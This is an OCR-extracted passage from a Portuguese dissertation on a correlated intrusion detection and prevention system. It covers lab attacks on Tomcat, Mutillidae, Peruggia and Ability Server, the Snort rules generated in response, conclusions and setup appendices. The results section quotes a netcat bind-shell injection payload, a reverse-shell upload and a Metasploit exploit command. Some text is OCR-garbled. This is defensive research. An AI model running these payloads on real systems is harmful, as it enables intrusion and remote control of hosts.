sid:15106;)

drop tcp any any -> 192.168.2.20 8180 (msg:"Regra gerada automaticamente"; classtype:attempted-user;

flow:to_server,established; content:"metasploit."; sid:15107;)
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osser: output: 'netstat’: "4444™10.1.1.1:39272 " ESTABLISHED ™ 2012-10-14 23:04:20.031304183 -0400" "tomcatss5™" fusr/lib/fwm
fjava-6-sun-1.6.0.24/jrefbinfjava -classpath ftmp/r~spawn795438B655989713168.tmp.dir metasplott.Payload™ “fusrflib/pem.java-
6-5un-1.6.0.24/jrefbinfjava -classpath fvar/lib/tomcats.5/temp/~spawnB601B55609856585849. tmp.dir metasploit. Payload ™" fusr
fbinfjsvc -user tomcatss -cp fusrfsharefjava’commons-daemon.jar:fusrfshare/tomcats.5/bin/bootstrap.jar -outfile SYSLOG -errfile
SYSLOG -pidfile fvarfrun/tomcats.5.pid -Djava.awt.headless=true -¥Xmx128M -Djava.endorsed.dirs=,/usr/share/tomcats.5/commaon
fendorsed -Dcatalina.base=/var/lib/ftomcats.5 -Dcatalina.home=/usr/shareftomcats.5 -Djava.lo.tmpdir=/var/lib/tomcats.5/temp
-Djava.utll.logging. manager=org.apache.jull.ClassLoaderLogManager -Djava.util.logging.config file=/var/lib/tomcats.5
foonfflogging.properties org.apache.catalina.startup.Bootstrap™8009 B1B0™"fusr/bin/fjsvc -user tomcatss -cp fusrfshare
fava/commons-daemon.jar:fusrfshare/tomcats.5/bin/bootstrap jar -outfile S¥SLOG -errfile SYSLOG -pidfile fvar/run/tomcats.5.pid
-Djava.awt.headless=true -¥mx128M -Djava.endorsed .dirs=/usr/share/tomcats.5/common/endorsed -Doatalina.base=/var/lib/tomcats.5
-Dcatalina. home=,usr/shareftomcats.5 -Djava.o.tmpdir=/var/lib/tomcats.5/temp

-Djava.utll.logging. manager=org.apache.jull.ClassLoaderLogManager -Djava.util.logging.config file=/var/lib/tomcats.5
foconfflogging.properties org.apache.catalina.startup. Bootstrap™™;

[

Figura 6.6: Falha Configuracdo Tomcat - Regra de Monitoramento no OSSEC

Querendo | Value

dizer

Payload GET fmanager/serverinfo HTTP/1.1 Host: 192.168.2.20:8180 User-Agent: Mozlllaf4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Authorization: Basic dGoty 2F0OnRvbWNhdA==

Payload 0'UIEbBCL}RFh-#BUG<Z99@% 1N-9Rg"I0] &3"{ J@ON@]]A"~wSN) t:3eC6Yg Y BOBHELWI
13{1#wD]%Zc-BsSoN|_RQ"B: #KF\S =% % 0-0cs qSLhO4<MX; JZpTIF#l- omI ROVES cvlSxyTh[G<oL3):P3E el<]
®.n-B'3MzkYBx}_c' e"3 ~+uR@~:\fg, [P [OT4NgYEEH[SmM'MS0v BRO[Ue2xsTIwIN -LI\=BFzS #6dgsh }[[}FMxI2Y
V' R;D)YO6<w* /dEa]5-LIfeDh }N @ Pahfot[vXBvrfOuTxBE ) 3010 N4Po~BrAw.m } Ew{z5]leEqH S QZkkRxw? fhISKD 2hQDEKMEWD G =ND d
IV{B3[0yfod 6%48& 7Z3kgsOcb3ROuUKp=" BWSka® /2D 'rF/~7z-02Q} oQE&S{{e pT4R %2E~NU:
%l[BSBArF7IBKCO+H>5:2Tyb. ;7. p{.AB"(W]#mte pa4 }i[/-{#n="21U| *H/I0fXmazvIsts~]2¥ " ZLla('u6V:< ux 4't}=Sas:\zo
1 _GWKK=p~/goiLE

Payload wrIPREebsmVY{[e"vH<="ablAd G5 <5L\D% =003 300 <<mMTKFWa WE>0lF/  GE?3r&Kl>5~% 1o0B7Pp= He~zdvowy :<IBP?:U":|
DdovEwM ~eq}B+bED} "#\cPKOA>IWEB-INF/classes/metasplott dat.H,5 5.PKOAWEB-INF/PKOATRWEB-INF/web. xmIPKOAIWEB-
INF/classes/PKOAWWEB-INF/classes/metasplot/PKOADS [WEB-INF/classes/metasplolt/Payload .class PKOA[ #/WEB-INF/classes/metasp loit
fPayloadServiet .class PKOA=IWEB-INF/classes/metasploft.dat PKE

Payload GET [JFbQotUCpcPCAIBSYBbDUWXSaaF/IpcUHUEBDqDSBS . Jsp HTTR/1.1 Host: 192.168.2.20:8180 User-Agent: Mozllla/4.0
[compatible; MSIE 6.0; Windows NT 5.1) Authorization: Basic dGaty 2F0OnRvbWNhdA== Content-Type: applicationx-www-form-
urlencoded Content-Length: 0

Payload GET fmanager/undeploy?path =/jFbQOtUCpcPCAIBEYBD DUWNMO92aP HTTFR/1.1 Host: 192.168.2.20:8180 User-Agent: Mozllla/4.0

[compatible; MSIE 6.0; Windows NT 5.1) Authorization: Basic dGoty2F00nRvbwWNhdA== Content-Type: application/x-www-form-
urlencoded Content-Length: 0

Processo Susrflibfpem/fjava-6-sun-1.6.0.24/jre/binfjava -classpath ftmp/~spawn7954388655989713168.tmp.dir metasploit.Payload

Porta 4444

Ahio 192.168.2.20

ProcessoPal | fusrflibfjvm/java-6-sun-1.6.0.24/jre/binfjava -classpath fvar/lb/tomcats.5/temp/~spawnB601B55609856585849 . tmp.dir
metasplolt. Payload

Compare metasplolt.

PortaPal BOOD B1BO

ProcessoPal | fusr/bin/jsve -user tomcatss -cp fusr/sharefjava/commons-daemon.jar:/usr/share/tomcats.5/bin/bootstrap. jar -outfile SYsLOG -errfile
SYsLOG -pidfile fuvar/run/tomcats.5.pid -Djava.awt. headless=true -Xmx128M -Djava.endorsed dirs=fusr/shareftomcats.5/commaon
fendorsed -Dcatalina base=/var/lib/tomcats.5 -Doatalina.home=/usr/shareftomcats.5 -Djava.lo.tmpdir=/var/lb/tomcats.5/temp
-Djava.util.logging.manager=org .apache.jull.ClassLoaderLog Manager -Djava.util logging .config file=/var/lib/tomcats.5
foonfflogging . properties org.apache.catalina.startup.Bootstrap

Compare | manager

Figura 6.7: Falha Configuracdo Tomcat - Informagdes no Alerta do Correlacionador
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6.2.2 Servidor II - OWASP Broken Web Applications VM Version 0.91rcl

e Mutillidae 1.3 - Injecao de Comandos

Como um exemplo do OWASP Top 10, as injecdes de fluxos, nas quais se enquadram
injecdo de SQL e injecdo de comandos, sdo muito comuns nas aplicagdes web e ocorrem quando
dados de formuldrios sdo fornecidos pelo usudrio ao servidor como parte de uma sentenca SQL
ou como um comando do sistema a ser executado. Na aplicacdo Mutillidae, existe uma pagina
com a funcionalidade de realizar requisi¢cdes a servidores DNS na qual ndo € tratada devidamente

a entrada dos dados.

A exploracdo dessa vulnerabilidade em nosso ambiente de testes pode ser vista pela
Figura 6.8 que, ao submetermos a pdgina ao servidor, € aberto um backdoor para conexdao do
atacante na porta 4443. A Figura 6.8 mostra parte da apresentacdo no navegador do endereco:

http://owaspbwa/mutillidae/index.php ?page=dns-lookup.php.

Mutillidae: Hack, Learn,
Secure, Have Fun!!!

Not logged in

DNS Lookup

Who would you like to do a DNS lookup on? Give me an
IP or hostname:

3.8.8.8 && nc -vlp 4443 -e /bin/bash

Submit

Figura 6.8: Injecdo de comandos na aplicacdo Mutilidae

Para a execucdo desse ataque, o Snort inicialmente ndo gerou nenhum alerta e o tinico
alerta gerado pelo sistema foi referente a regra de monitoramento do OSSEC, desenvolvida neste
trabalho, que gerou a saida mostrada na Figura 6.9. Essa saida foi recebida pelo correlacionador,
que por sua vez gerou os dois alertas esperados. O primeiro referente a nova conexao estabelecida
e o segundo referente ao servigo ou porta explorado no ataque. Neste caso, a porta 80. Estes
alertas, por sua vez geraram as respectivas regras que foram carregadas no Snort para o bloqueio

da conexdo estabelecida pelo atacante e de monitoramento do servico atacado.

A ldgica estabelecida neste trabalho ndo conseguiu colher informagdes uteis para o
IDPS com a repeticdo do mesmo ataque, mesmo monitorando os pacotes enderecados a porta 80
no servidor. Percebemos pela Figura 6.10 que este fato deve-se a diferenca de codificac@o entre a
string colhida no payload do alerta do Snort e a string referente ao processo do sistema no alerta do

OSSEC. Neste teste, a informagdo que conseguiu-se correlacionar foi o nimero IP informado pelo
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usudrio, que ndo caracteriza nada do ataque. Porém, pela l6gica estabelecida no Médulo Gerador
de Regras/Assinaturas, este nimero IP consta da regra criada e, consequentemente, bloqueara
requisicoes cuja entrada de dados contenha este endereco IP permitindo ao atacante variar este

endereco e ndo ser detectado por esta regra.
Abaixo sdo apresentadas as regras criadas no Snort para esse ataque a servidor Web.

alert tcp 10.1.1.1 any -> 192.168.2.30 80 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:151108;)

drop tcp any any -> 192.168.2.30 4444 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15109;)

drop tcp any any -> 192.168.2.30 80 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
flow:to_server,established; content:"8.8.8.8"; sid:15110;)

ossec: output: 'netstat': "4443""10.1.1.1:53436""ESTABLISHED""2012-11-09 19:04:48.470991382
-0500" "www-data""bash" "sh -c nslookup 8.8.8.8 && nc -vilp 4443 -e /bin/bash""""/usr/sbin/apache2 -k
start""80""/usr/sbin/apache2 -k start""80";

Figura 6.9: Mutillidae - Regra de Monitoramento no OSSEC

Querendo | Value
dizer

Payload POST /mutillidae/index.php?page=dns-lookup.php HTTP/1.1 Host: owaspbwa User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:15.0) Gecko/20100101 Firefox/15.0 Accept: text/html application/xhtml+xml application/xml;q=0.9 */*:q=0.8 Accept-Language:
pt-br,pt;g=0.8 en-us;g=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://owaspbwa/mutillidae
findex.php?page=dns-lookup.php Cookie: PHPSESSID=79024c8271985f36c399e44ad3d6469 Content-Type: application/x-www-form-
urlencoded Content-Length: 78 target_host=8.8.8.8+%26%26+nc+-vIp+4443+ +-e+%2Fbin%2Fbash&Submit_button=Submit

Processo bash

Porta 4443

Alvo 192.168.2.30
Remoto 10.1.1.1

ProcessoPai | sh -c nslookup 8.8.8.8 &8& nc -vip 4443 -e /bin/bash

Compare 8.8.8.8

PortaPai 80

ProcessoPai | fusr/sbin/apache2 -k start

Figura 6.10: Mutillidae - Informag¢des no Alerta do Correlacionador

e Peruggia 1.2 - Execucio de Arquivo Malicioso

Outro exemplo do OWASP Top 10 é a execucdo de arquivo malicioso. Em nossos testes,
foi possivel fazer um upload de um arquivo malicioso pela aplicacdo Peruggia, caracterizando uma
inclusdo de arquivo remoto. Até entdo, nada malicioso foi detectado no ambiente, mesmo porque
o upload realizado é permitido pela aplicacao para arquivos de imagens. Porém, a aplicacdo nao
restringe o tipo de arquivo enviado e nao proibe a interpretacdo desses arquivos atraves da url.
Ap6s incluido nosso arquivo malicioso “php-reverse-shell”*> podemos acessa-lo pelo navegador.
Neste teste, o atacante fecha uma conexdo reversa com a vitima, ou seja, uma conexao iniciada na
vitima para o atacante, no caso para a porta 4444 do atacante. A Figura 6.11 mostra a janela do

navegador apds o encerramento da sessdo remota estabelecida pelo atacante.

2Disponivel em: hitp://pentestmonkey.net/tools/php-reverse-shell
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e Mozilla Firefox

Arquive Editar Exibir Histérico Favoritos Ferramentas Ajuda
Py http://owaspbw...erse-shell.php &3

= % owaspbwa, ~@ - Q @ -

WARNING: Failed to daemonise. This is quite common and not fatal. Successfully opened reverse
shell to 10.1.1.1:4444 ERROR: Shell process terminated
R

Figura 6.11: Execucdo de arquivo malicioso na aplica¢do Peruggia

Para a execucdo desse ataque o Snort, inicialmente, também ndo gerou nenhum alerta
e o Unico alerta gerado pelo sistema foi referente a regra do OSSEC de monitoramento que gerou
a saida mostrada na Figura 6.12. Essa saida foi entio recebida pelo correlacionador, que de forma
andloga a casos anteriores gerou os dois alertas esperados nessa estratégia. O primeiro referente
a nova conexao estabelecida e o segundo referente ao servigo ou porta explorado no ataque, neste
caso porta 80. Estes alertas, em seguida, geraram as respectivas regras que foram carregadas no
Snort para o monitoramento do servico atacado e o bloqueio da conexao estabelecida pelo atacante.
Comparando com os demais ataques, houve uma grande diferenca referente a origem dos pacotes
bloqueados que desta vez sdo oriundos da mdquina da vitima e direcionados a maquina do atacante,
pois trata-se de um shell reverso. Sendo assim, a regra de bloqueio da nova conexdo estabelecida
efetivamente a bloqueia, mas nio bloqueara repeticoes desse mesmo ataque, pois a maquina da

vitima figura como cliente da conexao e a toda conexdo terd uma porta TCP diferente atribuida.

Neste ataque, ndo foi possivel estabelecer um relacionamento em nossa estratégia entre
os alertas recebidos, o que pode ser percebido pela auséncia do campo “Compare” na Figura 6.13,
assim como ocorreu para a vulnerabilidade CVE-2007-5423. O sistema entdo gerou duas regras
para o Snort com a acdo drop: a primeira bloqueando a conexao estabelecida na porta TCP 43103
do servidor e, a segunda, conexdes estabelecidas com o IP do atacante na porta 80. Abaixo estas

regras sdo mostradas:

alert tcp 10.1.1.1 any -> 192.168.2.30 80 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:151118;)

drop tcp any any -> 192.168.2.30 43103 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15119;)

drop tcp 10.1.1.1 any <-> 192.168.2.30 80 (msg: "Regra gerada automaticamente"; classtype:attempted-user;
sid:15120;)

ossec: output: 'netstat': "43103""10.1.1.1:4444""ESTABLISHED""2012-11-09 18:48:33.778949704
-0500" "www-data""/usr/shin/apache2 -k start" "/usr/sbin/apache2 -k start""80";

Figura 6.12: Peruggia - Regra de Monitoramento no OSSEC
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Querendo |Value
dizer

Payload GET /peruggia/images/php-reverse-shell.php HTTP/1.1 Host: owaspbwa User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux
x86_64; rv:15.0) Gecko/20100101 Firefox/15.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie:
PHPSESSID=7902f4c827f985f36c399e44ad3d6469

Processo Jusr/sbin/apache2 -k start

Porta 43103

Alvo 192.168.2.30
Remoto 10.1.1.1
PortaPai 80

ProcessoPal |/usr/sbin/apache2 -k start

Figura 6.13: Peruggia - Informacdes no Alerta do Correlacionador

6.2.3 Servidor III - Windows XP Service Pack 2

e CVE-2004-1626

Esta é uma vulnerabilidade de buffer overflow no software Ability Server na versao
2.34 e possivelmente outras versdes anteriores, que permite a execu¢do de comandos remotos
arbitrarios explorando o comando STOR do servidor FTP, no qual ha uma falha de validag¢ao de
entrada para uma longa cadeia de caracteres. Nesse ataque, o usudrio deve estar autenticado no
servidor para poder executar o comando STOR. Para isso, utilizou-se as credencias de um perfil

andnimo: usudrio “ftp” e senha “ftp”.
O comando explorativo pode ser executado com o metasploit como segue:

Jmsfcli exploit/windows/ftp/ability_server_stor PAYLOAD=windows/shell/bind_tcp RHOST=192.168.2.40
RPORT=21 LPORT=4444 E

Na execucdo deste ataque, o Snort gerou um alerta apds o ataque com a mensagem
“ATTACK-RESPONSES Microsoft cmd.exe banner” apontando como uma possivel resposta de um
ataque detectado pela transmissdo na rede do banner do “cmd.exe”. Como pode-se ver na Figura
6.14. Este banner trafegou na conexdo maliciosa estabelecida pelo atacante, pois neste tempo
ainda ndo foram geradas as regras no Modulo Gerador de Assinaturas/Regras que bloqueariam

esse trafego ao invés de apenas gerar alertas.

Carga exigida

Microsoft Windows XP [Version 5.1.2600]
{C) Copyright 1985-2001 Microsoft Corp.

C:\abilitywebserver>

Figura 6.14: CVE-2004-1626 - Conteudo do Alerta Inicial Gerado no Snort

Contudo, a regra criada no OSSEC gerou a saida constante da Figura 6.15. Esta saida
foi entdo recebida pelo correlacionador, que gerou dois alertas conforme o esperado. Estes alertas
podem ser vistos nas Figuras 6.16 e 6.17. O primeiro se refere a nova conexdo estabelecida e o

segundo ao servigo ou porta explorado no ataque. Estes geraram as respectivas regras que foram
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carregadas no Snort para o bloqueio da conexdo estabelecida pelo atacante e de monitoramento do

servico atacado.

Neste caso, ndo foi possivel aferir o contetido malicioso nos pacotes da rede, ndo houve
correspondéncias entre o payload e as demais informacdes, obtidas por intermédio da regra do
OSSEC. Contudo, da mesma maneira que as demais, o ataque € interrompido no momento que

bloqueamos a conexdo remota do atacante.

Abaixo seguem as regras que foram criadas e carregadas no Snort.

alert tcp 10.1.1.1 any -> 192.168.2.40 21 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15128;)

drop tcp any any -> 192.168.2.40 4444 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15129;)

drop tcp 10.1.1.1 any <-> 92.168.2.40 21 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15130;)

ossec: output: 'netstat': TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 1356 TCP 192.168.2.40:21
10.1.1.1:53988 CLOSE_WAIT 1356 TCP 192.168.2.40:4444 10.1.1.1:56251 ESTABLISHED 1356
C:\abilitywebserver\Ability Server.exe C:\WINDOWS\Explorer.EXE

Figura 6.15: CVE-2004-1626 - Regra de Monitoramento no OSSEC

Querendo dizer Value

Porta 4444

Processo C:\abilitywebserver\Ability Server.exe C:\WINDOWS\Explorer.EXE
Alvo 192.168.2.40

Remoto 10.1.1.1

Figura 6.16: CVE-2004-1626 - Regra do Correlacionador para bloqueio de conexao

Querendo | Value
dizer

Payload USER ftp

Payload PASS ftp

Payload |jMTWhGIzYEtSWnoMehRCDEgbRIZapuDZJkkoqAhoYGOrOKIDZPhKuWSDHEkPeNLzCbloMrmCPoXFiRkJHjRIukFI
Processo | C:\abilitywebserver\Ability Server.exe C:\WINDOWS\Explorer.EXE

Alvo 192.168.2.40

Porta 21

Remoto 10.1.1.1

Figura 6.17: CVE-2004-1626 - Regra do Correlacionador para monitoramento de servigo
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6.3 Analise dos Resultados

Nos experimentos realizados identificou-se, em alguns casos, o fluxo de dados malici-
0s0s nos pacotes de rede. Em outros, ndo foi possivel identificar o fluxo malicioso. Porém, todas
as regras criadas com a acdo drop, como mostradas na Secdo anterior, efetivamente bloquearam
o trafego malicioso, quer seja o trafego explorativo inicial do ataque, quer sejam os comandos

remotos posteriores a um ataque bem sucedido.

Em todos os experimentos foram obtidos bons resultados. A atividade maliciosa do
atacante foi bloqueada em todos os testes. Em alguns experimentos, com a repeti¢ao do ataque
conseguiu-se extrair uma assinatura, com a geracao de uma regra para o Snort, que possibilitou o
bloqueio de novas execucdes do mesmo ataque. Para alcancar estes resultados foram colhidas as
seguintes informacdes: qual servigo foi atacado, quando ocorreu os ataques, qual o IP que realizou
0 ataque, quais os processos de sistema envolvidos no ataque, qual o trafego de rede que originou
o ataque e quais conexdes foram estabelecidas. Em todas as experimentacdes, pelo menos uma

dessas informagdes foi possivel extrair.

Na exploragdo da vulnerabilidade do servigo “samba”, identificada por CVE-2007-
2447, e na exploragdo da falha de configuracio do Tomcat a proposta deste trabalho conseguiu
relacionar e correlacionar alertas de intrusdo. Em sequencia, foi possivel extrair uma assinatura do

ataque e criar uma regra para o Snort.

A utilizagdo de técnicas de ofuscamento na exploracdo da vulnerabilidade CVE-2007-
5423, referente a aplicacdo TikiWiki, foi eficaz para a estratégia proposta. O ataque utilizou a
codificacdo em base64 para subverter os sistemas de seguranga com sucesso. Em contrapartida,
mesmo nao identificada uma assinatura do ataque, a comunicac¢ao remota do atacante com a ma-

quina comprometida foi bloqueada.

O bloqueio do ataque na aplicacdo Peruggia foi eficaz. No entanto, repeticdes do
mesmo ataque nao serdo bloqueadas com a mesma regra, serd necessaria a geracdo de outra regra
pois, como o atacante utilizou-se da técnica de shell reverso para abrir uma conexao com a vitima,

a porta TCP no servidor atacado serd sempre diferente.

Em um tnico experimento, a proposta deste trabalho ndo conseguiu identificar o ser-
vico atacado. Na exploracdo da vulnerabilidade CVE-2004-2687 do programa Distcc, a logica
da regra de monitoramento criada para o OSSEC foi incapaz de identificar a porta TCP atacada.

Porém, a sequéncia do ataque foi bloqueada.

A utilizacdo de sistemas operacionais distintos implica em um maior esfor¢co de codi-

ficagdo, visto que, as regras de deteccao no OSSEC sdo especificas por sistema operacional.

Falsos positivos podem ser gerados para clientes legitimos a partir das regras geradas
neste trabalho, por exemplo, na exploracdao do Mutillidae, mostrada na Secdo anterior. Porém,

ainda assim, hd uma diminui¢ao do nimero de falsos negativos e a medida que conseguimos blo-
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quear ataques antes ndo bloqueados, mesmo com a existéncia de falsos positivos, hd um nivel de

seguranga maior.

Apenas em dois experimentos, as regras originais do Snort utilizadas, em sua confi-
guracdo padrdo, geraram alertas. Estes alertas ndo foram especificos do ataque executado. Na
exploracdo da CVE-2007-5423 foi gerado um alerta sobre o tamanho da requisicio HTTP. Na
exploracdo da CVE-2004-1626 foi gerado um alerta relativo a transmissdo na rede do banner do

“cmd.exe”.

No transcorrer dos testes, foram gerados outros alertas nos sensores de deteccao ins-
talados no ambiente que, se ndo forem do Snort ou da regra criada no OSSEC, ndo sao tratados
pelo correlacionador. Alguns destes outros alertas recebidos pelo Prelude-IDS referente as demais
regras habilitadas no ambiente e ndo utilizadas na estratégia sdo mostrados na Figura 6.18 como

exibidos na interface do Prewikka.

AEL T AlertasDeCorrecao | AlertasDasFerramentas sair

PAM [(modulelDS.great. ufc.br)

13 x Promiscuous mode detected (succeeded) na 137.0.1.1 PAM (snort.great.ufc.br) 00:01:43 -

44 x Credentials Change (succeeded) ’ T kernel {modulelDS. great.ufc.br) [ 2012-11-04 15:04:39
kernel (snort.great.ufc.br)

214 x (succeeded)

3 x Integrity checksum changed again (2nd time]).

(succeeded)

1519 x Windows error event. (succeeded) (WindowsXP) el tmi 2012-11-10 16:08: 06 -

5 x Integrity checksum changed. (succeeded) n/a 197.168.2.40 (moduloIDS. great.ufc.br) - 2012-11-06 (]

875 x Possivel Backdoor Windows (succeeded) i o ' o 01:37:35

2 x Integrity checksum changed again (3rd time).

(succeeded)

45 x Ossec agent started. (succeeded)

PAM 2012-11-09 21:0%:5%

Credentials C e I g7 2.3 - -11- M
4 x Credentials Change (succeeded) n/a 192.168.2.30 {brokenwebapps. ocaldomain) 2012-11-08

22:39:02
2 ¥ Non standard syslog message (size too large). owaspbwa 2012-11-09 21:04:48
(succeeded) n/a brokenwebapps (b:'okirt:'eba Encaichomzan] - 2012-11-04 (]
9 x Possivel Backdoor (succeeded) VeDapps. 22:22:15

prelude-correlator

30 x Tentativa de conexao porta 80 {meduloIDS. great.ufc.br)
odulolDS. great.ufc.b

4 x For menitoring

2x (succeeded) 2012-11-09 21:04:47

B — 10.1.1.1 192.168.2.30 {brokenwebapps. localdomain) - 2012-11-04 O
1 Web server error (succeeded) snort {snort.great. ufc.br) 22:22:14
1xnfa hetpd

1 x For monitering {brokenwebapps. localdomain)
2 x User login failed. (succeeded)

& x Attempt te login using a non-existent user prelude-Iml|

(succeeded) Ll TEELAE {medulelDS.great. ufc.br)

15 x SS5HD authentication success. (succeeded)

2012-11-09 21:01:19
- 2012-11-06 ]
01:34:21

Figura 6.18: Exemplos de outros alertas gerados



80

7 CONCLUSOES

Pelos resultados alcangados, conclui-se que a estratégia proposta nesta dissertacao
atendeu as expectativas quanto a detec¢do e prevencao de ataques intrusivos, cumprindo seu obje-
tivo. Constituindo, entdo, uma relevante contribui¢do para a pesquisa em Seguranca da Informacao,

mas precisamente no tema de Deteccdo e Prevencao de Intrusdo.

As vulnerabilidades exploradas sdo previamente conhecidas para permitirem sua ex-
ploracdo. No entanto, para o sistema sao vulnerabilidades zero-day, pois ndo sdao conhecidas pelas
bases de conhecimento das ferramentas existentes. Assim, os ataques a estas vulnerabilidades nao

sdo detectados isoladamente pelos sistemas IDS utilizados.

Em contrapartida, com a integracdo das ferramentas e correlacionamento de informa-

coes foi possivel identificar ataques a essas vulnerabilidades e bloquea-los.

Isoladamente, nos experimentos, o Snort detectou uma requisicio HTTP com elevado
numero de byfes e a transmissao na rede do banner do “cmd.exe”. Porém, para o Snort estes alertas
ndo constituem um ataque em si. No entanto, no Sistema de Detec¢do e Prevencdo de Intrusdo
proposto, a partir da implementacio da correlagdo de informacdes de sensores distintos, pode-se
aferir com maior precisdo que este comportamento realmente estd caracterizando um ataque ao
sistema, mesmo que a assinatura deste ataque especifico ndo exista previamente. Desta maneira, o
IDPS proposto tem maior embasamento na decisdo pela preven¢do e, consequente, bloqueio desse

trafego.

A estratégia proposta neste trabalho mostrou-se eficaz no cumprimento de suas tarefas,
com a utilizacdo exclusiva de software livre, pois identificou e bloqueou os ataques a ela dispara-
dos. Nas tentativas de exploragao as vulnerabilidades, a solucao mostrou-se eficaz ao identificar o

IP do atacante, o servico atacado ou o conteido malicioso no trafego de rede.

Em alguns experimentos conseguiu-se detectar o ataque, mas a assinatura foi impre-
cisa. Assim, a regra criada bloqueou a conexdo remota estabelecida pelo atacante com a vitima

apods o ataque sem, contudo, bloquear a exploracdo inicial da vulnerabilidade.

O cendrio de testes utilizado nesta estratégia contem sistemas operacionais € Servicos
distintos, o que mostra a amplitude da solu¢do ao detectar e prevenir ataques aos sistemas previs-
tos. Considerando que as ameacas identificadas s@o ataques intrusivos direcionados a uma tnica
madquina, implica que uma variacdo da quantidade de méaquinas servidoras utilizadas como vitimas

no ambiente ndo teria impacto na eficicia do sistema para um determinado ataque.

A estratégia também mostrou que, apenas com a integracao das ferramentas de c6digo
livre ndo seria possivel alcangar os objetivos propostos. Realmente foram necessdrias a codificacdo
de uma regra para deteccdo de anomalias no host, a codificacdo de regra de correlacionamento e,

principalmente, a codificacdo da geracdo de assinaturas para o Snort, bem como, a ativagdo dessas
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regras no sistema, tudo isso realizado neste trabalho.

A solugdo proposta neste trabalho pode gerar falsos positivos. Cabe ao gerente de segu-
ranca de redes verificar o arquivo de regras no Snort e discernir sobre o seu contetido. Este trabalho
previu alteragdes livremente no arquivo de regras sem prejuizo para o IDPS. Na codificagio im-
plementada, as regras criadas para o Snort sdo comparadas e analisadas contra as regras existentes

nesse arquivo, exatamente para que haja a liberdade do gerente de seguranca em alterd-las.

Outro fator importante na proposta deste trabalho € que as regras de detecc¢do de cada
ferramenta nao sdo fechadas e podem ser alteradas, conforme a necessidade, ou por atualizagdes
oficiais das proprias ferramentas. A regra de correlacdo também ndo € fechada. Porém, possiveis
alteragOes nessa regra devem ser feitas cautelosamente. Enfim, o sistema todo € aberto e todo ele

pode ser alterado para necessidades especificas de cada cendrio.

Com algoritmos simples e integracdo entre as ferramentas demonstrou-se a eficicia da

ideia proposta, dentro do escopo proposto.

7.1 Trabalhos Futuros

Ao longo da pesquisa e do transcorrer desse trabalho surgiram novas ideias que podem

motivar trabalhos futuros nesta linha de pequisa, dentre as quais podemos citar:

e A implementacdo da estratégia desta dissertacdo para a deteccao e prevengao de outros tipos

de ataques como: escaneadores de porta, for¢a bruta, negacdo de servigo, entre outros.

e A utilizac@o de outros IDS em um cendrio mais complexo, validando assim a flexibilidade e

escalabilidade do sistema para a escolha das ferramentas utilizadas.

e O desenvolvimento de um HIDS préprio que seja baseado em deteccao por anomalias, uti-
lize técnicas de inteligéncia artificial, implemente o IDMEF e se comunique com o médulo

centralizador deste trabalho.

e Um estudo mais aprofundado das implicagdes em performance e consumo de recursos dessa

estratégia.

e Uma proposta semelhante que utilizasse uma rede de seguranca descentralizada ou com uma

hierarquia setorial de gerenciadores.

Estas sdo apenas algumas ideias que emanam sobre o prolongamento da pesquisa.
Enfim, existe uma gama muito grande de possibilidades que somariam esforcos e conhecimento

para a pesquisa na drea de Deteccao e Prevencao de Intrusdes.
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APENDICE A - INSTALACAO E CONFIGURACAO DO SNORT

A versdo do Snort utilizada neste trabalho foi a 2.9.1 que pode ser encontrada no en-

dereco: http://www.snort.org/dl/snort-current/snort-2.9.1.tar.gz

Abaixo seguem as etapas basicas para instalagdo e configuragdo do Snort conforme
descrito em nosso ambiente de testes. Em nosso caso as placas ethO e eth2 formam uma bridge
entre a Rede Interna e a Rede Externa e ha uma terceira interface, ethl, conectada a Rede de

Seguranca.
e Compilac@o do Snort:
Jconfigure -enable-dynamicplugin -enable-reload —enable-normalizer —enable-prelude
e A definicdo de HOME_NET no arquivo de configuracdo: /etc/snort/snort.conf:
ipvar HOME_NET 192.168.2.0/24
e A diretiva output no arquivo de configuracio: /etc/snort/snort.conf:
output alert_prelude: profile=snort
e Os parametros de inicializacdo do servi¢o no arquivo /etc/init.d/snort:

DAEMON_ARGS=" -Q -l /var/log/snort/ -c /etc/snort/snort.conf -i ethO:eth2 -D”
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APENDICE B - INSTALACAO E CONFIGURACAO DO PRELUDE-IDS

e Instalacdo dos pacotes pelos repositérios oficiais da distribuicdo Debian
apt-get install prelude-manager prelude-correlator prelude-Iml libprelude2 python-prelude prewikka
e Registro dos Sensores no Gerente

Os comandos abaixo sdo necessdrios para o registro dos sensores no gerente e devem ser exe-
cutados para cada sensor. Ambos irdo gerar diversas saidas e haverd uma troca de senha que serd informada
na console do gerente para carregamento no sensor e sua consequente validacao, se tudo ocorrer bem apds

esta troca de senha serd pedida confirmagdo no gerente para o sucesso do registro.

- Prelude-LML (Sensor):
prelude-admin register <prelude-profile> “idmef:rw” 192.168.3.90 —uid 0 —gid 0

- Prelude-Manager (Gerente):

prelude-admin registration-server prelude-manager
e A defini¢do do IP do gerente no arquivo /etc/prelude/default/client.conf:
server-addr = 192.168.3.90
e Carregamento da regra de correlag@o no arquivo /etc/prelude-correlator/prelude-correlator.conf:

[TargetPortPlugin]
disable = false
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APENDICE C - INSTALACAO E CONFIGURACAO DO OSSEC

A versao do OSSEC utilizada neste trabalho foi a 2.6 que pode ser encontrada no endereco:

http://www.ossec.net/files/ossec-hids-2.6.tar.gz
e Compilagao do OSSEC

cd ossec-hids-*
cd src; make setprelude; cd ..

Jinstall.sh

e Habilitando a saida em IDMEF para o Prelude-IDS no arquivo: /var/ossec/etc/ossec.conf

<global>
<email_notification>no</email_notification>
<prelude_output>yes</prelude_output>
<prelude_profile>metasploitable</prelude_profile>
<prelude_log_level>6</prelude_log_level>
</global>



